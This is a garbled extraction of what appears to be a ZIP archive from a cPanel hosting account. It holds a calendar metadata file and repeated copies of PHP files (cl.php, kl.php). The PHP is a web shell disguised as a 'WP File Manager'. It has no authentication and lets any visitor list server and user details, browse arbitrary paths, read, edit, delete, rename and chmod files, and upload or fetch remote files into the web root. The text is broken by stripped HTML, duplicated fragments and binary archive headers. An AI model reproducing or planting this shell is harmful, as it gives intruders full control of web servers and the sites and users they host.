← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]§kéBBmejdi@drsupernova.com/.metadatanu„[µü¤[calendar] protected 1 description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar type VCALENDAR [addressbook] type VADDRESSBOOK description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 PK“&{]„N9³§Ë§Ëmejdi@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëmejdi@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
